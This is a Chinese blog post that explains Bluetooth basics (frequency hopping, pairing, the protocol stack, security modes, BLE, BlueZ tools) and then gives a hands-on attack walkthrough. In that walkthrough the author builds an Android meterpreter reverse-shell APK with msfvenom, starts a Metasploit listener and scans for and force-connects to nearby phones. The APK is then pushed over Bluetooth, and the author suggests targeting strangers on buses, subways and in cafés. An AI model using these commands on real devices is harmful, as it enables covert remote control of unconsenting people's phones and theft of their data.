背景
刚接触蓝牙,于是玩了那么一下下,现在分享出来,希望能与大家一起学习
先来了解蓝牙哈 (¯▽¯)~(如果哪里错啦,希望大大萌轻点打~(>﹏<)~)
初次相识
蓝牙是一种低功率,近场通信的通用协议,工作在2.4 – 2.485 GHz,使用扩展频谱,每秒1600跳频(频率每秒改变1600次)
跳频了解:
http://baike.baidu.com/link?url=0cwODpHwtIpYPP9v1mqnGQrtIfuWwUqhjl5xlXxcwKxI_ga3LwLWrIgkxkv9ZdUX
蓝牙范围最小规格为10米,但是制造商在其设备中实现的范围是没有限制(例如加入些放大器)。很多设备的范围可长达100米。只要有特殊的天线,就可以扩大范围。
当两个蓝牙设备连接时,这被称为配对(你们懂的O(≧▽≦)O)。几乎任何两个蓝牙设备都可以彼此连接。任何可发现的蓝牙设备会传输以下信息:
名称
类(不知道是不是这么叫 = =)
服务列表
技术信息
当两个设备配对时,它们交换预共享的私钥或连接密钥。每个存储此连接密钥的设备会在将来配对中识别另一个。
每个设备都有唯一的48位标识符(类似MAC地址),通常是制造商分配的名称。
配对过程如下:
另外,蓝牙设备会创建所谓的微微网或非常小的网络。在微微网中,有一个主机和多达七个活动的从机。由于蓝牙使用跳频,这些设备的通信是不会相互干扰的(因为使用相同频率的两个设备的机会非常小)
相恋基础
蓝牙协议栈大概如下:
蓝牙设备不需要使用堆栈中所有协议(如TCP / IP堆栈)。 蓝牙堆栈被开发是为了能够通过各种通信应用使用蓝牙。通常,应用程序只使用该堆栈的一个垂直切片。
蓝牙协议层及其相关协议如下:
蓝牙核心协议基带:LMP,L2CAP,SDP
电缆更换协议:RFCOMM
电话控制协议:TCS二进制,AT命令
采用的协议:PPP,UDP / TCP / IP,OBEX,WAP,vCard,vCal,IrMC,WAE
除了协议层之外,蓝牙规范还定义了主机控制器接口(HCI),这为基带控制器,链路管理器以及硬件状态和控制寄存器的访问提供了命令接口。
严防小三
蓝牙安全基于几种技术。 首先,跳频。 主机和从机都知道跳频算法,但是其他设备不知道。第二,在配对时交换的用于认证和加密的预共享密钥(128位)。
蓝牙有三种安全模式:
安全模式1:没有活动安全性
安全模式2:服务级别安全。集中式安全管理器处理身份验证,配置和授权。可能未被用户激活。
安全模式3:设备级安全。基于密钥的身份验证和加密。
蓝牙4.0的BLE技术:
蓝牙核心规范4.0的模块增加了以下几个蓝牙低功耗组件
- GATT:表示服务器属性和客户端属性,描述了属性服务器中使用的服务层次,特点和属性。BLE设备使用它作为蓝牙低功耗应用规范的服务发现。
- ATT:实现了属性客户端和服务器之间的点对点协议。ATT客户端给ATT服务器发送请求命令,ATT服务器端向ATT客户端发送回复和通知。
- SMP用于生成对等协议的加密密钥和身份密钥。SMP管理加密密钥和身份密钥的存储,它通过生成和解析设备的地址来识别蓝牙设备。
爱的抱抱
蓝牙协议栈在Linux的实现是BlueZ,大多数Linux发行版都默认安装,如Kali默认安装,BlueZ有一些简单的工具,我们可以用来管理和Hack蓝牙。
hciconfig:此工具与Linux中的ifconfig操作非常相似,使用它来启动蓝牙接口(hci0),其次,查询设备的规格。
hcitool:这是一个查询工具。 可以用来查询设备名称,设备ID,设备类别和设备时钟。
hcidump:可以使用这个来嗅探蓝牙通信
爱的考验
下面结合metasploit进行蓝牙hack
环境:手机开启蓝牙,目标与攻击者处于同一局域网
原理:检测到蓝牙开启,向目标发送后门程序,metasploit “肾透支~~~”
应用场景:公交车,地铁,咖啡厅等公开共享网络环境 ,pia~~~ (⊙o⊙)
一、使用metasploit生成Android后门
msfvenom –p android/meterpreter/reverse_tcp LHOST={ip} LPORT={port} R > ~/fuck.apk
打开msf,启动监听
use exploit/mutli/handler
set payload android/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT {port}
show options
exploit
二、蓝牙工具
查看设备:hciconfig
激活设备:hciconfig hci0 up
扫描蓝牙设备:hcitool scan
若如果对方开启隐藏,可以使用fang工具扫描隐藏的蓝牙设备
:::接下来就是:::
霸王。。。(x_x)(强行连接)
blueranger.sh { hciX} { bdaddr }
三、发送APK
在新版用blueman发送没成,然后用了旧版kali下的bluetooth-sendto进行发送,好了,就等他点击了,即可获得meterpreter ~
通过对小米手机测试,成功取得meterpreter
经不起考验,那就来个小姐
可能有人觉得,发送apk还要安装运行,会比较难利用,但是我觉得,如果是在一些公共场合,再结合其他环境。。。
例如:
公交车(或者其他地点) + 双十一 ~ 然后,就没有了然后
→_→_→_→
转载时必须以链接形式注明原始出处及本声明。
拓展阅读:
https://www.jianshu.com/p/78460132a563 蓝牙协议